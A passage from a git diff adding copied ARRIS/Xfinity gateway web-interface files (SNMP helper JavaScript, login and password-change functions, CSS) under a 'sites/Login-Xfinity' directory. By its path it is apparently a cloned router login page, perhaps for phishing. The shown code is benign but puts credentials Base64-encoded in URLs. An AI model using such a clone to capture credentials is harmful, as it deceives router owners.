convertHexStringToASCIIString(hexString) { + return String.fromCharCode.apply(this, parseHexString(hexString)); +} +function convertASCIIStringToHexString(asciiString) { + var s="$"; + for (var i=0; i" + JSON.stringify(l)); + if (l.length) { + var tag = l[0]; + var value = l.length > 1 ? l.splice(1, l.length-1) : ""; + if (value) { + if (o[tag]) { + o[tag].push(value) + } else { + o[tag] = [value]; + } + } + } + } + }); + } + $.log(JSON.stringify(o)); + o.get = function(s) { + try { + if (this[s]) + return this[s][0]; + } catch(e) { + return ""; + } + } + o.getTable = function(s) { + try { + if (this[s]) + return this[s]; + else return []; + } catch(e) { + return []; + } + } + o.eachRow = function(s, f) { + try { + if (this[s]) + _.each(this[s],f); + } catch(e) { + return ""; + } + } + return o; +} + + + +function validateIpOnSubnet(ip) { + var IPAddress = arLanGatewayIp.get(getLan()[0]).replace(/[$ ]/g,""); + var SubnetMask = arLanSubnetMask.get(getLan()[0]).replace(/[$ ]/g,""); + var f = hexIp(); + if (ip.contains(".")) { + f.validate(ip); + ip = f.store(ip).replace(/[$ ]/g,""); + } else { + ip = ip.replace(/[$ ]/g,""); + } + if ((parseInt(ip, 16) & parseInt(SubnetMask,16)) != (parseInt(IPAddress, 16) & parseInt(SubnetMask,16))) { + throw xlate("Invalid IP Address. Invalid network address."); + } +} + +function convertToSnmpHex(s) { + var t = s; + if (!t.endsWith(" ")) + t += " "; + var reg = /^([0-9A-Fa-f][0-9A-Fa-f] )+$/; + if (reg.test(t)) { + return "$"+t.replace(/ /g,""); + } + return s; +} + + +function IPV6ToOid(v6) { + hexIpV6().validate(v6); + var hd = hexIpV6().store(v6); + if (!hd) + throw xlate("Invalid IPV6 Address"); + hd = hd.replace("$", ''); + var s = ""; + while (hd.length >= 4) { + s = s + parseInt(hd.substr(0, 4),16)+"."; + hd = hd.substr(4); + } + s = s.substr(0, s.length-1); + return s; +} + +function oidToIPV6(oid) { + var v6 = ""; + + var grouphasValue = false; + if (is852()) { + var flag = 0; + _.each(oid.split("."), function(s) { + if (flag == 1) { + var tmp = parseInt(s).toString(16); + if(tmp.length==1 && parseInt(tmp)!=0){ + tmp="0"+tmp; + } + + if( grouphasValue == true && parseInt( tmp ) == 0 ) + { + tmp += "0"; + grouphasValue = false; + } + + v6 += tmp +":"; + flag = 0; + } else { + var tmp = parseInt(s).toString(16); + if(tmp.length==1 && parseInt(tmp)!=0){ + tmp="0"+tmp; + } + + if( parseInt( tmp ) != 0 ) + { + grouphasValue = true; + } + + v6 += tmp; + flag+=1; + } + }); + } else { + _.each(oid.split("."), function(s) { v6 += parseInt(s).toString(16)+":"; }); + } + + var v = v6.substr(0, v6.length-1).toUpperCase(); + return hexIpV6().normalize(v); +} + +function getChannelList() { + var country = (snmpGet1(arWiFiCountry.oid+".0") || "").toLowerCase(); + var isEurope = country ? "eu,at,be,ch,cz,de,dk,ee,ie,el,fr,es,it,cy,lv,lt,lu,hu,mt,nl,pl,pt,ro,gb,gr,hu,ie,si,sk,fi,se,uk".contains(country) : false; + var isJapan = country == "jp"; + if (isJapan) + return ["0:Auto", "1:1", "2:2", "3:3", "4:4", "5:5", "6:6", "7:7", "8:8", "9:9", "10:10", "11:11", "12:12", "13:13","14:14"]; + if (isEurope) + return ["0:Auto", "1:1", "2:2", "3:3", "4:4", "5:5", "6:6", "7:7", "8:8", "9:9", "10:10", "11:11", "12:12", "13:13"]; + return ["0:Auto", "1:1", "2:2", "3:3", "4:4", "5:5", "6:6", "7:7", "8:8", "9:9", "10:10", "11:11"]; +} + +function security_encryption(mode, WEPencryptionmode, WPAalgorithm) +{ + if(mode == "0") + { + return "Open"; + } + else if(mode == "1") + { + if(WEPencryptionmode == "1") + { + return "WEP64"; + } + if(WEPencryptionmode == "2") + { + return "WEP128"; + } + } + else if(mode == "2") + { + if(WPAalgorithm == "1") + { + return "WPA-PSK(TKIP)"; + } + else if(WPAalgorithm == "2") + { + return "WPA-PSK(AES)"; + } + } + else if(mode == "3") + { + if(WPAalgorithm == "1") + { + return "WPA2-PSK(TKIP)"; + } + else if(WPAalgorithm == "2") + { + return "WPA2-PSK(AES)"; + } + else if(WPAalgorithm == "3") + { + return "WPA2-PSK(TKIP/AES)"; + } + } + else if(mode == "7") + { + return "WPAWPA2-PSK(TKIP/AES)"; + /* + if(WPAalgorithm == "1") + { + return "WPAWPA2-PSK(TKIP)"; + } + else if(WPAalgorithm == "2") + { + return "WPAWPA2-PSK(AES)"; + } + else if(WPAalgorithm == "3") + { + return "WPAWPA2-PSK(TKIP/AES)"; + }*/ + } + else + { + return "NONE"; + } +} + +function wirelessmode(i) { + if (i == "0") + { + return "Mixed BG"; + } + else if (i == "1") + { + return "B Only"; + } + else if (i == "4") + { + return "G Only"; + } + else if (i == "6") + { + return "N Only"; + } + else if (i == "7") + { + return "Mixed GN"; + } + else if (i == "9") + { + return "Mixed BGN"; + } + else + { + return "unknown -- " + i; + } +} + +function wifi50mode(i) { + if(i == "0") + { + return "Mixed AN"; + } + else if(i == "1") + { + return "A Only"; + } + else if(i == "4") + { + return "N Only"; + } + else if(i == "5") + { + return "Only AC"; + } + else if(i == "6") + { + return "Mixed ACN"; + } + else if(i == "7") + { + return "Mixed ACNA"; + } + else + { + return "unknown -- " + i; + } +} + +function getWiFiIndex(band, SSID) +{ + if(band == "24") + { + if(SSID == "HOME" || SSID == "BSS_1") + { + return "10001"; + } + else if(SSID == "BSS_2") + { + return "10002"; + } + else if(SSID == "BSS_3") + { + return "10003"; + } + else if(SSID == "BSS_4") + { + return "10004"; + } + else if(SSID == "BSS_5") + { + return "10005"; + } + else if(SSID == "BSS_6") + { + return "10006"; + } + else if(SSID == "BSS_7") + { + return "10007"; + } + else if(SSID == "BSS_8") + { + return "10008"; + } + else if(SSID == "BSS_9") + { + return "10009"; + } + else if(SSID == "BSS_10") + { + return "10010"; + } + else if(SSID == "BSS_11") + { + return "10011"; + } + else if(SSID == "BSS_12") + { + return "10012"; + } + else if(SSID == "BSS_13") + { + return "10013"; + } + else if(SSID == "BSS_14") + { + return "10014"; + } + else if(SSID == "BSS_15") + { + return "10015"; + } + else if(SSID == "BSS_16") + { + return "10016"; + } + } + else if(band == "50") + { + if(SSID == "HOME" || SSID == "BSS_1") + { + return "10101"; + } + else if(SSID == "BSS_2") + { + return "10102"; + } + else if(SSID == "BSS_3") + { + return "10103"; + } + else if(SSID == "BSS_4") + { + return "10104"; + } + else if(SSID == "BSS_5") + { + return "10105"; + } + else if(SSID == "BSS_6") + { + return "10106"; + } + else if(SSID == "BSS_7") + { + return "10107"; + } + else if(SSID == "BSS_8") + { + return "10108"; + } + else if(SSID == "BSS_9") + { + return "10109"; + } + else if(SSID == "BSS_10") + { + return "10110"; + } + else if(SSID == "BSS_11") + { + return "10111"; + } + else if(SSID == "BSS_12") + { + return "10112"; + } + else if(SSID == "BSS_13") + { + return "10113"; + } + else if(SSID == "BSS_14") + { + return "10114"; + } + else if(SSID == "BSS_15") + { + return "10115"; + } + else if(SSID == "BSS_16") + { + return "10116"; + } + } +} + +function Parse_Page_Name( org_url ) +{ + return org_url.substring(org_url.lastIndexOf('/')+1); +} + +function Waiting_Setting_And_Redirect( url ) +{ + window.location = "waiting_loading.php?" + url; +} + + +/* +function convertCmtStr(str) +{ + var ret; + var str_new =""; + var i = 0; + + var num = 0; + + for(i = 0; i= (i+3))) + { + num = parseInt((str.charAt(i+1)), 16) * 16 + parseInt((str.charAt(i+2)), 16); + if(isNaN(num)) + { + str_new += str.charAt(i); + } + else + { + ret = String.fromCharCode(num); + i = i+2; + str_new += ret; + } + } + else + { + str_new += str.charAt(i); + } + } + + return str_new; +} +*/ +// todo: add change password for suddenlink +// todo: make sure tabs from mg gets moved over? \ No newline at end of file diff --git a/sites/Login-Xfinity/Xfinity_files/base_95x.js b/sites/Login-Xfinity/Xfinity_files/base_95x.js new file mode 100755 index 0000000..d51268a --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/base_95x.js @@ -0,0 +1,829 @@ +//Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +var attrs = { + //Model:"GW", + Family:"950", + //Model:"852", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +} + // todo: put in snmp check for no data returned + +var attrs_TG852G = { + Model:"TG852G", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: true, + Wifi: 1, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG862G = { + Model:"TG862G", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: true, + Wifi: 1, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG1642 = { + Model:"TG1642", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: true, + Wifi: 1, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_DG1670 = { + Model:"DG1670", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: false, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG1672 = { + Model:"TG1672", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: false, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG1682 = { + Model:"TG1682", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: true, + Wifi: 2, + Dect: true, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_MG2402 = { + Model:"MG2402", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: true, + Wifi: 2, + Dect: true, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_OG1600 = { + Model:"OG1600A", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: false, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_Default = { + Model:"unknown", + Family:"unknown", + CLASSICCM:false, + MOCA:true, + IPV6:true, + Battery: true, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + + +var g_ModelName = ""; +var g_UserName = ""; +var g_attrTable = {}; +// UNIHAN ADD START +var CAN_NOT_SET_CRED = "can_not_login"; +// UNIHAN ADD END +function uh_attrTable_init() +{ + //g_ModelName = mib2system.sysName.get(); + //reduce loading time + g_ModelName=readCookie("sysDescrModelName"); + g_UserName = userName(); + + /*switch (g_ModelName) + { + case "TG862G": g_attrTable = attrs_TG862G; break; + case "TG1642": g_attrTable = attrs_TG1642; break; + case "DG1670": g_attrTable = attrs_DG1670; break; + case "TG1672": g_attrTable = attrs_TG1672; break; + case "TG1682": g_attrTable = attrs_TG1682; break; + case "MG2402": g_attrTable = attrs_MG2402; break; + default: g_attrTable = attrs_Default; break; + }*/ + if (g_ModelName.search("TG862")!=-1) + { + g_attrTable = attrs_TG862G; + } + else if (g_ModelName.search("TG852")!=-1) + { + g_attrTable = attrs_TG852G; + } + else if (g_ModelName.search("TG1642")!=-1) + { + g_attrTable = attrs_TG1642; + } + else if (g_ModelName.search("DG1670")!=-1) + { + g_attrTable = attrs_DG1670; + } + else if (g_ModelName.search("TG1672")!=-1) + { + g_attrTable = attrs_TG1672; + } + else if (g_ModelName.search("TG1682")!=-1) + { + g_attrTable = attrs_TG1682; + } + else if (g_ModelName.search("MG2402")!=-1) + { + g_attrTable = attrs_MG2402; + } + else if (g_ModelName.search("OG1600A")!=-1) + { + g_attrTable = attrs_OG1600; + } + else + { + g_attrTable = attrs_Default; + } +} +function uh_getModel() +{ + return g_attrTable["Model"]; +} +function uh_hasBattery() +{ + return true==g_attrTable["Battery"]; +} +function uh_hasWifi() +{ + if (g_attrTable["Wifi"]>0) + { + return g_attrTable["Wifi"]; + } + else + { + return false; + } +} +function uh_hasMoca() +{ + return true==g_attrTable["MOCA"]; +} +function uh_hasDect() +{ + return true==g_attrTable["Dect"]; +} + +function encode(o) { + o = "" + o; + /* encode "%" was switched "%2525" */ + //o = o.replace(/%/g, "%25"); + o = encodeURIComponent(o); + o = o.replace(/;/g, "%3B"); + o = o.replace(/,/g, "%2C"); + return o; +} +function getAttr(name) { + return attrs[name] || ""; +} +function isMG() { + return attrs["Family"] == "MG"; +} +function is852() { + return attrs["Family"] == "852"; +} +function is95x() { + return attrs["Family"] == "950"; +} +function isIPV6() { + return attrs["IPV6"]; +} +function getLanguages() { + return attrs["Languages"]; +} +function userName() { + return attrs["Name"] || ""; +} +function isTechnician() { + return isLoggedIn() && (isMG() || attrs["Technician"]); +} +function isLoggedIn() { + if (!attrs["Credential"]) { + attrs["Credential"] = readCookie("credential"); + if (attrs["Credential"]) { + var o = Base64.decode(attrs["Credential"]); + o = JSON.parse(o); + attrs["Family"] = o["family"]; + attrs["Technician"] = o["tech"]; + attrs["Name"] = o["name"]; + } + } + return attrs["Credential"]; +} +var hooks = { + buildSetURL:function (oid, value, type) { + var url = "snmpSet?oid=" + oid + "=" + encode(value) + ";" + type + ";"; + return url; + }, + buildGetURL:function (oida) { + var url = "snmpGet?oids=" + _.reduce(oida, function (acc, oid) { + return acc + encode(oid) + ";"; + }, ""); + return url; + }, + buildMultiGetURL:function (oida) { + var url = "snmpGet?oids=" +oida+";"; //Get Data typeless + return url; + }, + buildWalkURL:function (oida) { + var url = "walk?oids=" + _.reduce(oida, function (acc, oid) { + return acc + encode(oid) + ";"; + }, ""); + return url; + }, + buildMultiWalkURL:function (oida) { + var url = "walk?oids=" + oida; + return url; + }, + postProcess:function (json) { + return json; + } +}; + +function snmpSet1(oid, value, type) { +/* +//ASN.1 basic types, all in UNIVERSAL scope +#define A_NO_ID 0x00 +#define A_BOOLEAN 0x01 +#define A_INTEGER 0x02 +#define A_BITSTRING 0x03 +#define A_OCTETSTRING 0x04 +#define A_NULL 0x05 +#define A_OBJECTID 0x06 +#define A_SEQUENCE 0x10 +#define A_SET 0x11 +#define A_APPLICATION 0x40 + +#define VT_NUMBER A_INTEGER +#define VT_STRING A_OCTETSTRING +#define VT_BITS A_OCTETSTRING // same as a string +#define VT_OBJECT A_OBJECTID +#define VT_EMPTY A_NULL +#define VT_IPADDRESS (A_APPLICATION | 0) +#define VT_COUNTER (A_APPLICATION | 1) +#define VT_GAUGE (A_APPLICATION | 2) +#define VT_UNSIGNED32 (A_APPLICATION | 2) // same as a guage +#define VT_TIMETICKS (A_APPLICATION | 3) +#define VT_OPAQUE (A_APPLICATION | 4) +#define VT_COUNTER64 (A_APPLICATION | 6) +#define VT_UINTEGER32 (A_APPLICATION | 7) +*/ + // value = encodeHack(value); + var url = hooks.buildSetURL(oid, value, type); //"snmpSet?oid=" + oid + "=" + encode(value) + ";" + type + ";"; + //$.log("set " + decodeOid(oid) + "=" + value); + if (window.console) console.log("set " + decodeOid(oid) + "=" + value); + //$.log(url); + if (window.console) console.log(url); + var rv = "fail"; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + if (jqXHR.status == 401) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + } + }, + // dataType : "json", + async:false, + cache:false + }); + + if (rv == "unauthorized") + throw "unauthorized"; + if (rv == "fail" && shouldVerify(oid, value)) + throw "Unexpected Error";//xlate("Unexpected Error"); + //$.log(">>" + JSON.stringify(rv)); + if (window.console) console.log(">>" + JSON.stringify(rv)); + return rv; +} + + +function shouldVerify(oid, val) { + // if (isMG()) + // return false; // GW snmp is a little screwy so skip for now + + if (oid.startsWith(arLanClientType.oid + ".")) // 950 bug + return false; + + if (oid.startsWith(arApplyAllSettings.oid + ".")) + return true; //was false; + if (oid.startsWith(arWpsSTAPin.oid + ".")) + return false; + if (oid.startsWith(arWpsPushButton.oid + ".")) + return false; + if (oid.startsWith(arCurrentTime.oid + ".")) + return false; + if (oid.startsWith(arEmailApplySettings.oid + ".")) + return false; + if (oid.startsWith(arClearLogs.oid + ".")) + return false; + if (oid.startsWith(arReboot.oid + ".")) + return false; + if (oid.startsWith(arClearMSOLogs.oid + ".")) + return false; + if (oid.startsWith(arEmailApplySettings.oid + ".")) + return false; + if (oid.startsWith(arApplySNTPSettings.oid + ".")) + return false; + if (oid.startsWith(arDefaults.oid + ".")) + return false; + if (oid.startsWith(SNTPServerTable.oid + ".")) + return false; + if (oidIsRowStatus(oid) && val != 1) + return false; + return true; +} + + +function snmpSet1Async(oid, value, type, func) { + // value = encodeHack(value); + var url = hooks.buildSetURL(oid, value, type); //"snmpSet?oid=" + oid + "=" + encode(value) + ";" + type + ";"; + //$.log("setasync " + decodeOid(oid) + "=" + value); + if (window.console) console.log("setasync " + decodeOid(oid) + "=" + value); + //$.log(url); + if (window.console) console.log(url); + + baseAjax({ + url:url, + success:function (result) { + if (func) func(true); + }, + error:function (jqXHR, textStatus, errorThrown) { + if (func) func(false); + }, +// error: function(jqXHR, textStatus, errorThrown) { +// alert("text:{An error has occured. Your changes may have not been applied. Please refresh this page and verify the changes you expect.}"); +// throw ""; +// }, + // dataType : "json", + async:true, + cache:false + }); +} + + +function snmpGet1(oid) { + try { + var url = hooks.buildGetURL([oid]); //"snmpGet?oids=" + encode(oid) + ";"; + //var url = "walk?oids=" + encodeURI(oid + ";"); + //$.log(url); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + //$.log("get result " + result); + if (window.console) console.log("get result " + result); + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"text", + async:false, + cache:false + }); + // strip of any crap on front for sercomm bug + // if (rv && (typeof rv == 'string')) { + // while (rv.length !== 0 && rv.charAt(0) != '{' && rv.charAt(0) != '[') { + // rv = rv.substr(1); + // } + // rv = rv.replace(",", ""); + // } + + //$.log("pre-parse" + rv); + if (window.console) console.log("pre-parse" + rv); + var rrv = JSON.parse(rv); + //$.log("" + rrv); + if (window.console) console.log("" + rrv); + rrv = hooks.postProcess(rrv); + //$.log(">>" + JSON.stringify(rrv)); + if (window.console) console.log(">>" + JSON.stringify(rrv)); + if (rrv && rrv[oid]) + rrv = rrv[oid]; + else rrv = ""; + //return decodeHack(rv); + return rrv; + } catch (e) { + //$.log("snmp get error " + e); + if (window.console) console.log("snmp get error " + e); + return ""; + } +} + + +function xxxcompare(a, b) { + a = "" + a; + b = "" + b; + if (a.startsWith("$")) + a = a.replace(/ /g, ""); + if (b.startsWith("$")) + b = b.replace(/ /g, ""); + if (a.startsWith("$") && !b.startsWith("$")) { + if (canConvertToASCII(a)) + a = convertHexStringToASCIIString(a) + } else if (b.startsWith("$") && !a.startsWith("$")) { + if (canConvertToASCII(b)) + b = convertHexStringToASCIIString(b) + } + if (a.length === 0 && b === "$00000000") { + return true; + } + if (a.startsWith("$") && b.startsWith("$")) { + return a.toUpperCase() == b.toUpperCase(); + } + return a == b; +} + +var canCloseWaitDialog = false; +function openWaitDialog() { + canCloseWaitDialog = false; + $("#wait-dialog").dialog( + { autoOpen:false, + height:80, + width:250, + resizable:false, + title:"Please Wait", + beforeClose:function () { + return canCloseWaitDialog; + } + }); + prepareDialog("wait-dialog"); + $("#wait-dialog").dialog("open"); +} + +function closeWaitDialog() { + canCloseWaitDialog = true; + $("#wait-dialog").dialog("close"); +} + + +function doApplyAndRebootAsync(applyNeeded, rebootNeeded, refreshNeeded) { + var canCloseWaitDialog = false; + var busyDialogNeeded = true; + + function openWaitDialog() { + if (!busyDialogNeeded) + return; + canCloseWaitDialog = false; + $("#wait-dialog").dialog( + { autoOpen:false, + height:80, + width:250, + resizable:false, + title:"Please Wait", + beforeClose:function () { + return canCloseWaitDialog; + } + }); + prepareDialog("wait-dialog"); + $("#wait-dialog").dialog("open"); + } + + function closeWaitDialog() { + busyDialogNeeded = false; + canCloseWaitDialog = true; + $("#wait-dialog").dialog("close"); + } + + function start() { + if (applyNeeded) + snmpSet1Async(arApplyAllSettings.oid + ".0", "1", "2", applyDone); + else applyDone(true); + } + + function applyDone(ok) { + if (rebootNeeded) + snmpSet1Async(arReboot.oid + ".0", "1", "2", rebootDone); + else rebootDone(true); + } + + function rebootDone(ok) { + closeWaitDialog(); + if (refreshNeeded) + refresh(); + } + + setTimeout(openWaitDialog, 2); + start(); +} + + +// sa [ string... ] +function snmpGet(sa) { + try { + var url = hooks.buildGetURL(sa); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"json", + async:false, + cache:false + + }); + rv = hooks.postProcess(rv); + //$.log(rv); + if (window.console) console.log(rv); + return rv; + } catch (e) { + //$.log("snmpGet caught " + e); + if (window.console) console.log("snmpGet caught " + e); + return { }; + } +} + +// sa [ string... ] +function snmpMultiGet(sa) { + try { + var url = hooks.buildMultiGetURL(sa); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"json", + async:false, + cache:false + + }); + rv = hooks.postProcess(rv); + //$.log(rv); + if (window.console) console.log(rv); + return rv; + } catch (e) { + //$.log("snmpGet caught " + e); + if (window.console) console.log("snmpGet caught " + e); + return { }; + } +} + +// sa [ string... ] + +function snmpWalk(sa) { + try { + var url = hooks.buildWalkURL(sa); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + // _.each(_.keys(rv), function(k) { + // var dv = encodeHack(rv[k]); + // rv[k] = dv; + // }); + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"json", + async:false, + cache:false + + }); + //$.log(rv); + if (window.console) console.log(rv); + rv = hooks.postProcess(rv); + return rv; + } catch (e) { + //$.log("snmpWalk caught " + e); + if (window.console) console.log("snmpWalk caught " + e); + return { }; + } +} + + +// sa [ string... ] + +function snmpMultiWalk(sa) { + try { + var url = hooks.buildMultiWalkURL(sa); + var rv = ""; + baseAjax({ + url:url, + success:function (result) { + rv = result; + // _.each(_.keys(rv), function(k) { + // var dv = encodeHack(rv[k]); + // rv[k] = dv; + // }); + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = textStatus;//"unauthorized"; + }, + dataType:"text", + async:false, + cache:false + + }); + //$.log(rv); + if (window.console) console.log(rv); + rv = hooks.postProcess(rv); + return rv; + } catch (e) { + //$.log("snmpWalk caught " + e); + if (window.console) console.log("snmpWalk caught " + e); + return { }; + } +} + +function login(name, password) { + var up = Base64.encode(name + ":" + password); + var limit_flag = false; + attrs["Credential"] = ""; + if (window.console) console.log("create credential=" + up); + eraseCookie("credential");setSessionStorage("ar_nonce",""); + baseAjax({ + url:"login?arg=" + up, + success:function (result) + { + if( result == CAN_NOT_SET_CRED ) + { + limit_flag = true; + } + else + { + createCookie("credential", result); + } + }, + dataType:"text", + async:false, + cache:false + }); + if( limit_flag == true ) + { + return CAN_NOT_SET_CRED; + } + return isLoggedIn(); +} + + +function logout(sendMsg) { + attrs["Credential"] = ""; + eraseCookie("credential"); + setSessionStorage("ar_nonce",""); + if (sendMsg) { + baseAjax({ + url:"logout", + dataType:"text", + async:false, + cache:false + }); + } + refresh(); +} +function changePassword( name ,OldPassword, NewPassword ) { + var cred = Base64.encode( name + ":" + OldPassword + ":" + NewPassword ); + var rv = ""; + baseAjax({ + url:"setPassword?arg=" + cred, + success:function (result) { + rv = result; + }, + dataType:"text", + async:false, + cache:false + }); + var ok = rv === "ok" || rv === "true"; + + // if (ok) { + // logout(); + // login(loginData.name, NewPassword); + // } + + return ok; +} + +function logfilestore(logtype, idxStr) { + + baseAjax({ + url:"storelog?arg=" + logtype + idxStr, + dataType:"text", + async:false, + cache:false + }); + + if (window.console) console.log("storelog"); +} + +function checkPassword(name, password ) { + var up = Base64.encode(name + ":" + password ); + var ret = ""; + baseAjax({ + url:"checkPassword?arg=" + up, + success:function (result) { + ret = result; + }, + dataType:"text", + async:false, + cache:false + }); + + if( ret == "true" ) + { + return true; + } + else + { + return false; + } +} + +//BEGIN PROD00219791 CSRF issue. +function getNonce() { + var n = getSessionStorage("ar_nonce"); + if (!n) { + n = "_n="+(""+Math.random()).substr(2,5); + setSessionStorage("ar_nonce", n); + } + return n; +} + +function wrapNonce(url){ + if (!url) return url; + var startChar = url.indexOf('?') === -1 ? '?' : '&'; + url += startChar + getNonce(); + return url; +} +// Notice that all new added function that call jQuery.ajax, should use baseAjax to instead it. +function baseAjax(options){ + options.url = wrapNonce(options.url); + jQuery.ajax(options); +} +// END PROD00219791 CSRF issue. + + diff --git a/sites/Login-Xfinity/Xfinity_files/common-min.css b/sites/Login-Xfinity/Xfinity_files/common-min.css new file mode 100755 index 0000000..946c2e8 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/common-min.css @@ -0,0 +1,32 @@ +html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;margin:0;padding:0;}body{line-height:1;}ol,ul{list-style:none;}blockquote,q{quotes:none;}blockquote:before,blockquote:after,q:before,q:after{content:none;}:focus{outline:0;}ins{text-decoration:none;}del{text-decoration:line-through;}table{border-collapse:collapse;border-spacing:0;}body{background-color:#5d666a;color:#5d666a;font:.8em Arial,Helvetica,sans-serif;}td,th{font:.8em Arial,Helvetica,sans-serif;vertical-align:middle;}a:link,a:visited{color:#39baf1;}a:hover,a:active{color:#000;text-decoration:none;}h1{font-size:2.2em;}#content h1{margin-left:10px;}h2{font-size:1.1em;font-weight:bold;}h3{font-size:1.2em;font-weight:bold;padding:8px;}p{line-height:1.4em;margin:.5em 0;}small{font-size:.8em;}#container{background-color:#f1f1f1;width:960px;margin:0 auto;}#footer{background:#39baf1;clear:both;color:#fff;text-align:center;padding:12px 0;margin-top:50px;overflow:hidden;}#main-content{clear:both;display:block;overflow:hidden;padding:0 20px 20px;}#content{float:left;width:850px;}#header{padding:13px 24px 0;background-color:#fff;height:75px;margin-bottom:-70px;}#logo,#logo a,#logo span{display:block;position:relative;height:30px;line-height:30px;width:92px;z-index:5;}#logo{text-indent:3px;margin-top:20px;position:absolute;}#logo span{position:absolute;z-index:15;background:url(../img/logo_xfinity.png) no-repeat 0 0;height:100%;left:0;top:0;width:100%;}.first-child{list-style:none!important;margin-left:0!important;}#footer-links{width:350px;margin:0 auto;overflow:hidden;}#footer-links li{float:left;line-height:28px;list-style:disc outside;color:#fff;margin-left:22px;font-size:1.3em;}#footer-links li a{color:#fff;text-decoration:none;}#sub-header{clear:both;height:30px;margin:0 -20px 20px;padding:20px;position:relative;width:920px;}h1{font-size:2em;padding-bottom:20px;}#userToolbar{position:absolute;right:20px;top:7px;}#userToolbar li{float:left;line-height:28px;list-style:disc;margin-left:25px;}#userToolbar .user{font-weight:bold;}#userToolbar .toolbar a{text-decoration:none;}#status{position:absolute;right:20px;top:36px;}#status li{float:left;line-height:19px;margin:0 0 0 10px;font-weight:bold;font-size:1.1em;padding-bottom:15px;position:relative;}#status li .tooltip{background-color:#fff;color:#838c91;display:none;right:-15px;padding:15px;position:absolute;top:25px;width:165px;z-index:999;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;}.on-off{background:#fff url(../img/icn_on_off.png) no-repeat 0 0;display:block;float:left;margin:2px 5px 0 3px;height:14px;width:15px;text-indent:-9999px;}.off .on-off{background-position:0 -26px;}.off .on-off{background-position:0 -26px;}.alert .on-off{background-position:0 -52px;}#status .battery span{background:url(../img/icn_battery.png) no-repeat 0 0;height:19px;width:9px;display:block;float:left;margin:-1px 5px 0 3px;text-indent:-9999px;}#status .battery .bat-100{background-position:0 0;}#status .battery .bat-75{background-position:0 -19px;}#status .battery .bat-50{background-position:0 -38px;}#status .battery .bat-25{background-position:0 -57px;}#status .battery .bat-10{background-position:0 -76px;}#status .battery .bat-0{background-position:0 -95px;}#nav{float:left;margin:0 20px 20px 0;position:relative;width:182px;border-top:solid 1px #dadad8;}#nav>ul>li{border-bottom:solid 1px #dadad8;}#nav>ul>li>ul>li:last-child a{border-bottom:0;}#nav li a{border-bottom:dashed 1px #dadad8;color:#575f5f;display:block;font-weight:bold;padding:8px 10px 8px 20px;text-decoration:none;}#nav li li a{color:#788180;}#nav li a.selected,#nav li a:hover{color:#39baf1;}#nav li ul{display:none;}#nav li a{padding-left:10px;}#nav li li a{padding-left:20px;}#nav li li li a{padding-left:30px;}#nav li li a.folder{background:url(../img/arrows_nav.png) no-repeat 10px -2px;}#nav li li a.folder:hover{background-position:10px -74px;}#nav li li a.folder-open{background-position:10px -38px!important;}#nav li li a.folder-open:hover{background-position:10px -110px!important;}#nav li li li a.folder{background:url(../img/arrows_nav.png) no-repeat 20px -2px;}#nav li li li a.folder:hover{background-position:20px -74px;}#nav li li li a.folder-open{background-position:20px -38px!important;}#nav li li li 